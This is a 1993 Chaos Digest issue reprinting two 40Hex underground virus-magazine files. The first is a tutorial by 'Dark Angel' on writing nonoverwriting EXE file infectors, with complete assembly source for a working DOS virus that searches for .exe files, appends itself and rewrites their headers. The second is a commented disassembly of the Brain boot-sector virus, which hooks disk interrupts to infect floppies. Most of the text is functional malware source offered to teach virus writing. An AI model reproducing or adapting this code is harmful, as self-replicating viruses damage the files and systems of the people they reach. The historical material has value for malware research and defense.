Chaos Digest              Samedi 3 Juillet 1993        Volume 1 : Numero 69
                            ISSN  1244-4901

      Editeur: Jean-Bernard Condat ([email protected])
      Archiviste: Yves-Marie Crabbe
      Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.69 (3 Juillet 1993)
File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
               [email protected]
with a mail header or first line containing the following informations:
                   X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

       * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
       * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
       * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
       * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
       * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
       * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
       * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
       * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
           the views of the moderators. Chaos Digest contributors
           assume all responsibility for ensuring that articles
           submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: [email protected] (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint)


40Hex Number 8 Volume 2 Issue 4                                       File 007

                 _______________________________________
                 An Introduction to Nonoverwriting Virii
                         Part II: EXE Infectors
                              By Dark Angel
                 _______________________________________

    In the  last issue  of 40Hex,  I presented  theory and  code  for  the
nonoverwriting  COM   infector,  the   simplest  of  all  parasitic  virii.
Hopefully, having  learned COM  infections cold,  you are now ready for EXE
infections.  There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.

    EXE infections  are, in  some  respects,  simpler  than  COM  viruses.
However, to  understand the infection, you must understand the structure of
EXE files  (naturally).   EXE files  are structured into segments which are
loaded consecutively  atop one  another.  Thus, all an EXE infector must do
is create  its own  segment in  the EXE  file and  alter  the  entry  point
appropriately.   Therefore, EXE  infections do  not require  restoration of
bytes of  code, but  rather involve  the manipulation  of the  header which
appears in  the beginning every EXE file and the appending of viral code to
the infected file.  The format of the header follows:

Offset Description
  00   ID word, either 'MZ' or 'ZM'
  02   Number of bytes in the last (512 byte) page in the image
  04   Total number of 512 byte pages in the file
  06   Number of entries in the segment table
  08   Size of the header in (16 byte) paragraphs
  0A   Minimum memory required in paragraphs
  0C   Maximum memory requested in paragraphs
  0E   Initial offset in paragraphs to stack segment from header
  10   Initial offset in bytes of stack pointer from stack segment
  12   Negative checksum (ignored)
  14   Initial offset in bytes of instruction pointer from code segment
  16   Initial offset in paragraphs of code segment from header
  18   Offset of relocation table from start of file
  1A   Overlay number (ignored)

The ID  word is  generally 'ZM'  (in the  Intel little-endian format).  Few
files start  with the  alternate form,  'MZ' (once  again in  Intel little-
endian format).   To  save space, a check for the alternate form of the EXE
ID in  the virus  may be omitted, although a few files may be corrupted due
to this omission.

The words  at offsets  2 and  4 are related.  The word at offset 4 contains
the filesize  in pages.   A  page is  a 512 byte chunk of memory, just as a
word is  a two  byte chunk of memory.  This number is rounded up, so a file
of length  514 bytes  would contain a 2 at offset 4 in the EXE header.  The
word at offset 2 is the image length modulo 512.  The image length does not
include the  header length.   This  is one of the bizarre quirks of the EXE
header.   Since the header length is usually a multiple of 512 anyway, this
quirk usually  does not  matter.  If the word at offset 2 is equal to four,
then it  is generally  ignored (heck,  it's never really used anyway) since
pre-1.10 versions  of the  Microsoft linker had a bug which caused the word
to always  be equal  to four.  If you are bold, the virus can set this word
to 4.   However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.

The minimum memory required by the program (offset A) can be ignored by the
virus, as  the maximum  memory is generally allocated to the program by the
operating system.   However,  once again,  ignoring this area of the header
MAY cause  an unsucessful  infection.   Simply adding  the  virus  size  in
paragraphs to this value can nullify the problem.

The words  representing the  initial stack segment and pointer are reversed
(not in  little-endian format).   In  other words,  an LES to this location
will yield  the stack  pointer in  ES and  the  stack  segment  in  another
register.   The initial  SS:SP is  calculated  with  the  base  address  of
0000:0000 being at the end of the header.

Similarly, the  initial CS:IP  (in little-endian format) is calculated with
the base  address of  0000:0000 at  the end of the header.  For example, if
the program  entry point  appears directly after the header, then the CS:IP
would be 0000:0000.  When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).

All the  relevant portions  of the  EXE header  have been covered.  So what
should be  done to  write a  nonoverwriting EXE infector?  First, the virus
must be appended to the end of the file.  Second, the initial CS:IP must be
saved and  subsequently changed  in the  header.   Third, the initial SS:SP
should also  be saved  and changed.   This  is to avoid any possible memory
conflicts from  the stack  overwriting viral  code.   Fourth, the file size
area of  the header should be modified to correctly reflect the new size of
the file.   Fifth,  any additional  safety modifications such as increasing
the minimum  memory allocation  should be made.  Last, the header should be
written to the infected file.

There are  several good areas for ID bytes in the EXE header.  The first is
in the stack pointer field.  Since it should be changed anyway, changing it
to a  predictable number  would add nothing to the code length.  Make sure,
however, to  make the stack pointer high enough to prevent code overwrites.
Another common  area for ID bytes is in the negative checksum field.  Since
it is  an unused  field, altering  it won't  affect the  execution  of  any
programs.

One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files.  Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be.  DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code).  It is important to restore DS and ES to their proper values before
returning control to the EXE.

----cut here---------------------------------------------------------------

model tiny                             ;Handy TASM directive
code                                   ;Virus code segment
         org 100h                      ;COM file starting IP
;Cheesy EXE infector
;Written by Dark Angel of PHALCON/SKISM
;For 40Hex Number 8 Volume 2 Issue 4
id = 'DA'                               ;ID word for EXE infections

startvirus:                             ;virus code starts here
         call next                     ;calculate delta offset
next:     pop  bp                       ;bp = IP next
         sub  bp,offset next           ;bp = delta offset

         push ds
         push es
         push cs                       ;DS = CS
         pop  ds
         push cs                       ;ES = CS
         pop  es
         lea  si,[bp+jmpsave2]
         lea  di,[bp+jmpsave]
         movsw
         movsw
         movsw
         movsw

         mov  ah,1Ah                   ;Set new DTA
         lea  dx,[bp+newDTA]           ;new DTA @ DS:DX
         int  21h

         lea  dx,[bp+exe_mask]
         mov  ah,4eh                   ;find first file
         mov  cx,7                     ;any attribute
findfirstnext:
         int  21h                      ;DS:DX points to mask
         jc   done_infections          ;No mo files found

         mov  al,0h                    ;Open read only
         call open

         mov  ah,3fh                   ;Read file to buffer
         lea  dx,[bp+buffer]           ;@ DS:DX
         mov  cx,1Ah                   ;1Ah bytes
         int  21h

         mov  ah,3eh                   ;Close file
         int  21h

checkEXE: cmp  word ptr [bp+buffer+10h],id ;is it already infected?
         jnz  infect_exe
find_next:
         mov  ah,4fh                   ;find next file
         jmp  short findfirstnext
done_infections:
         mov  ah,1ah                   ;restore DTA to default
         mov  dx,80h                   ;DTA in PSP
         pop  es
         pop  ds                       ;DS->PSP
         int  21h
         mov  ax,es                    ;AX = PSP segment
         add  ax,10h                   ;Adjust for PSP
         add  word ptr cs:[si+jmpsave+2],ax
         add  ax,word ptr cs:[si+stacksave+2]
         cli                           ;Clear intrpts for stack manip.
         mov  sp,word ptr cs:[si+stacksave]
         mov  ss,ax
         sti
         db   0eah                     ;jmp ssss:oooo
jmpsave             dd ?                ;Original CS:IP
stacksave           dd ?                ;Original SS:SP
jmpsave2            dd 0fff00000h       ;Needed for carrier file
stacksave2          dd ?

creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname           db '[DemoEXE] for 40Hex',0

infect_exe:
         les  ax, dword ptr [bp+buffer+14h] ;Save old entry point
         mov  word ptr [bp+jmpsave2], ax
         mov  word ptr [bp+jmpsave2+2], es

         les  ax, dword ptr [bp+buffer+0Eh] ;Save old stack
         mov  word ptr [bp+stacksave2], es
         mov  word ptr [bp+stacksave2+2], ax

         mov  ax, word ptr [bp+buffer + 8] ;Get header size
         mov  cl, 4                        ;convert to bytes
         shl  ax, cl
         xchg ax, bx

         les  ax, [bp+offset newDTA+26];Get file size
         mov  dx, es                   ;to DX:AX
         push ax
         push dx

         sub  ax, bx                   ;Subtract header size from
         sbb  dx, 0                    ;file size

         mov  cx, 10h                  ;Convert to segment:offset
         div  cx                       ;form

         mov  word ptr [bp+buffer+14h], dx ;New entry point
         mov  word ptr [bp+buffer+16h], ax

         mov  word ptr [bp+buffer+0Eh], ax ;and stack
         mov  word ptr [bp+buffer+10h], id

         pop  dx                       ;get file length
         pop  ax

         add  ax, heap-startvirus      ;add virus size
         adc  dx, 0

         mov  cl, 9                    ;2**9 = 512
         push ax
         shr  ax, cl
         ror  dx, cl
         stc
         adc  dx, ax                   ;filesize in pages
         pop  ax
         and  ah, 1                    ;mod 512

         mov  word ptr [bp+buffer+4], dx ;new file size
         mov  word ptr [bp+buffer+2], ax

         push cs                       ;restore ES
         pop  es

         mov  cx, 1ah
finishinfection:
         push cx                       ;Save # bytes to write
         xor  cx,cx                    ;Clear attributes
         call attributes               ;Set file attributes

         mov  al,2
         call open

         mov  ah,40h                   ;Write to file
         lea  dx,[bp+buffer]           ;Write from buffer
         pop  cx                       ;cx bytes
         int  21h

         mov  ax,4202h                 ;Move file pointer
         xor  cx,cx                    ;to end of file
         cwd                           ;xor dx,dx
         int  21h

         mov  ah,40h                   ;Concatenate virus
         lea  dx,[bp+startvirus]
         mov  cx,heap-startvirus       ;# bytes to write
         int  21h

         mov  ax,5701h                 ;Restore creation date/time
         mov  cx,word ptr [bp+newDTA+16h] ;time
         mov  dx,word ptr [bp+newDTA+18h] ;date
         int  21h

         mov  ah,3eh                   ;Close file
         int  21h

         mov ch,0
         mov cl,byte ptr [bp+newDTA+15h] ;Restore original
         call attributes                 ;attributes

mo_infections: jmp find_next

open:
         mov  ah,3dh
         lea  dx,[bp+newDTA+30]        ;filename in DTA
         int  21h
         xchg ax,bx
         ret

attributes:
         mov  ax,4301h                 ;Set attributes to cx
         lea  dx,[bp+newDTA+30]        ;filename in DTA
         int  21h
         ret

exe_mask            db '*.exe',0
heap:                                   ;Variables not in code
newDTA              db 42 dup (?)       ;Temporary DTA
buffer              db 1ah dup (?)      ;read buffer
endheap:                                ;End of virus

end       startvirus

----cut here---------------------------------------------------------------

This is a simple EXE infector.  It has limitations;for example, it does
not handle misnamed COM files.  This can be remedied by a simple check:

 cmp [bp+buffer],'ZM'
 jnz misnamed_COM
continueEXE:

Take special notice of the done_infections and infect_exe procedures.  They
handle all  the relevant portions of the EXE infection.  The restoration of
the EXE  file simply  consists of  resetting the stack and a far jmp to the
original entry point.

A final  note on  EXE infections: it is often helpful to "pad" EXE files to
the nearest  segment.  This accomplishes two things.  First, the initial IP
is  always  0,  a  fact  which  can  be  used  to  eliminate  delta  offset
calculations.   Code space  can be  saved by  replacing all  those annoying
relative memory  addressing statements  ([bp+offset blip])  statements with
their absolute  counterparts (blip).   Second, recalculation of header info
can be  handled in  paragraphs, simplifying  it tremendously.  The code for
this is left as an exercise for the reader.

This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to  write EXE  infectors).  Hopefully, this  text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors.   In the next issue of 40Hex,  I will present the theory
and code for the next step of file infector - the coveted SYS file.

+++++

40Hex Number 8 Volume 2 Issue 4                                       File 008

;This is the ashar variant of the classic Pakistani Brain virus. It is large
;by today's standards, although it was one of the first.  It is a floppy only
;boot sector infector.

brain           segment byte public
               assume  cs:brain, ds:brain
;Disassembly done by Dark Angel of PHALCON/SKISM
               org     0

               cli
               jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
               db      0, 0, 0, 0
               db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
               db      17h
               db     '& Amjads (pvt) Ltd   VIRUS_SHOE '
               db     ' RECORD   v9.0   Dedicated to th'
               db     'e dynamic memories of millions o'
               db     'f virus who are no longer with u'
               db     's today - Thanks GOODNESS!!     '
               db      '  BEWARE OF THE er..VIRUS  : \th'
               db     'is program is catching      prog'
               db     'ram follows after these messeges'
               db     '..... $'
               db     '#@%$'
               db     '@!! '
entervirus:
               mov     ax,cs
               mov     ds,ax                   ;ds = 0
               mov     ss,ax                   ;set stack to after
               mov     sp,0F000h               ;virus
               sti
               mov     al,ds:[7C00h+offset firsthead]
               mov     ds:[7C00h+offset curhead],al
               mov     cx,ds:[7C00h+offset firstsector]
               mov     ds:[7C00h+offset cursector],cx
               call    calcnext
               mov     cx,5                    ;read five sectors
               mov     bx,7C00h+200h           ;after end of virus

loadnext:
               call    readdisk
               call    calcnext
               add     bx,200h
               loop    loadnext

               mov     ax,word ptr ds:[413h]   ;Base memory size in Kb
               sub     ax,7                    ;- 7 Kb
               mov     word ptr ds:[413h],ax   ;Insert as new value
               mov     cl,6
               shl     ax,cl                   ;Convert to paragraphs
               mov     es,ax
               mov     si,7C00h                ;Copy from virus start
               mov     di,0                    ;to start of memory
               mov     cx,1004h                ;Copy 1004h bytes
               cld
               rep     movsb
               push     es
               mov     ax,200h
               push     ax
               retf                            ;return to old boot sector

readdisk:
               push     cx
               push     bx
               mov     cx,4                    ;Try 4 times

tryread:
               push     cx
               mov     dh,ds:[7C00h+offset curhead]
               mov     dl,0                    ;Read sector from default
               mov     cx,ds:[7C00h+offset cursector]
               mov     ax,201h                 ;Disk to memory at es:bx
               int     13h
               jnc     readOK
               mov     ah,0                    ;Reset disk
               int     13h                     ;(force read track 0)
               pop     cx
               loop    tryread

               int     18h                     ;ROM basic on failure
readOK:
               pop     cx
               pop     bx
               pop     cx
               retn

calcnext:
               mov     al,byte ptr ds:[7C00h+offset cursector]
               inc     al
               mov     byte ptr ds:[7C00h+offset cursector],al
               cmp     al,0Ah
               jne     donecalc
               mov     byte ptr ds:[7C00h+offset cursector],1
               mov     al,ds:[7C00h+offset curhead]
               inc     al
               mov     ds:[7C00h+offset curhead],al
               cmp     al,2
               jne     donecalc
               mov     byte ptr ds:[7C00h+offset curhead],0
               inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
               retn

;the following is a collection of garbage bytes
               db       00h, 00h, 00h, 00h, 32h,0E3h
               db       23h, 4Dh, 59h,0F4h,0A1h, 82h
               db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
               db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
;Second part of the virus begins here
               jmp     short entersecondpart
               db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ;keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
               mov     cs:readcounter,1Fh
               xor     ax,ax
               mov     ds,ax                   ;ds -> interrupt table
               mov     ax,ds:[13h*4]
               mov     ds:[6Dh*4],ax
               mov     ax,ds:[13h*4+2]
               mov     ds:[6Dh*4+2],ax
               mov     ax,offset int13         ;276h
               mov     ds:[13h*4],ax
               mov     ax,cs
               mov     ds:[13h*4+2],ax
               mov     cx,4                    ;4 tries
               xor     ax,ax
               mov     es,ax                   ;es -> interrupt table

tryreadbootsector:
               push     cx
               mov     dh,cs:firsthead
               mov     dl,0
               mov     cx,cs:firstsector
               mov     ax,201h                 ;read from default disk
               mov     bx,7C00h
               int     6Dh                     ;int 13h
               jnc     readbootOK
               mov     ah,0
               int     6Dh                     ;int 13h
               pop     cx
               loop    tryreadbootsector

               int     18h                     ;ROM basic on failure
readbootOK:                                     ;return control to
                                               ;original boot sector
;*              jmp     far ptr 0000:7C00h
               db     0EAh, 00h, 7Ch, 00h, 00h
               nop                             ;MASM NOP!!!
int13:
               sti
               cmp     ah,2                    ;if not read request,
               jne     doint13                 ;do not go further
               cmp     dl,2                    ;if after second floppy,
               ja      doint13                 ;do not go further
               cmp     ch,0                    ;if not reading boot sector,
               jne     regularread             ;go handle as usual
               cmp     dh,0                    ;if boot sector,
               je      readboot                ;do I<-/>/\|> stuff
regularread:
               dec     cs:readcounter          ;Infect after 4 reads
               jnz     doint13                 ;If counter still OK, don't
                                               ;do anything else
               jmp     short readboot          ;Otherwise, try to infect
doint13:
               jmp     exitint13h
readboot:
;FINISH THIS!
               mov     cs:int13flag,0          ;clear flag
               mov     cs:readcounter,4        ;reset counter
               push     ax
               push     bx
               push     cx
               push     dx
               mov     cs:curdrive,dl
               mov     cx,4

tryreadbootblock:
               push     cx
               mov     ah,0                    ;Reset disk
               int     6Dh
               jc      errorreadingbootblock   ;Try again
               mov     dh,0
               mov     cx,1
               mov     bx,offset readbuffer    ;buffer @ 6BEh
               push    es
               mov     ax,cs
               mov     es,ax
               mov     ax,201h
               int     6Dh                     ;Read boot sector
               pop     es
               jnc     continuestuff           ;continue if no error
errorreadingbootblock:
               pop     cx
               loop    tryreadbootblock

               jmp     short resetdisk         ;too many failures
               nop
continuestuff:
               pop     cx                      ;get system id in boot block
               mov     ax,word ptr cs:[offset readbuffer+4]
               cmp     ax,1234h                ;already infected?
               jne     dodisk                  ;if not, infect it
               mov     cs:int13flag,1          ;flag prev. infection
               jmp     short noreset
dodisk:
               push     ds
               push     es
               mov     ax,cs
               mov     ds,ax
               mov     es,ax
               push     si
               call    writevirus              ;infect the disk
               jc      failme                  ;exit on failure
               mov     cs:int13flag,2          ;flag success
               call    changeroot              ;manipulate volume
label
failme:
               pop     si
               pop     es
               pop     ds
               jnc     noreset                 ;don't reset on success
resetdisk:
               mov     ah,0                    ;reset disk
               int     6Dh                     ;int 13h
noreset:
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               cmp     cx,1
               jne     exitint13h
               cmp     dh,0
               jne     exitint13h
               cmp     cs:int13flag,1          ;already infected?
               jne     wasntinfected           ;if wasn't, go elsewhere
               mov     cx,word ptr cs:[offset readbuffer+7]
               mov     dx,word ptr cs:[offset readbuffer+5]
               mov     dl,cs:curdrive          ;otherwise, read real
               jmp     short exitint13h        ;boot sector
wasntinfected:
               cmp     cs:int13flag,2          ;successful infection?
               jne     exitint13h              ;if not, just do call
               mov     cx,cs:firstsector
               mov     dh,cs:firsthead
exitint13h:
               int     6Dh                     ;int 13h
               retf    2
               db      15 dup (0)

------------------------------

End of Chaos Digest #1.69
************************************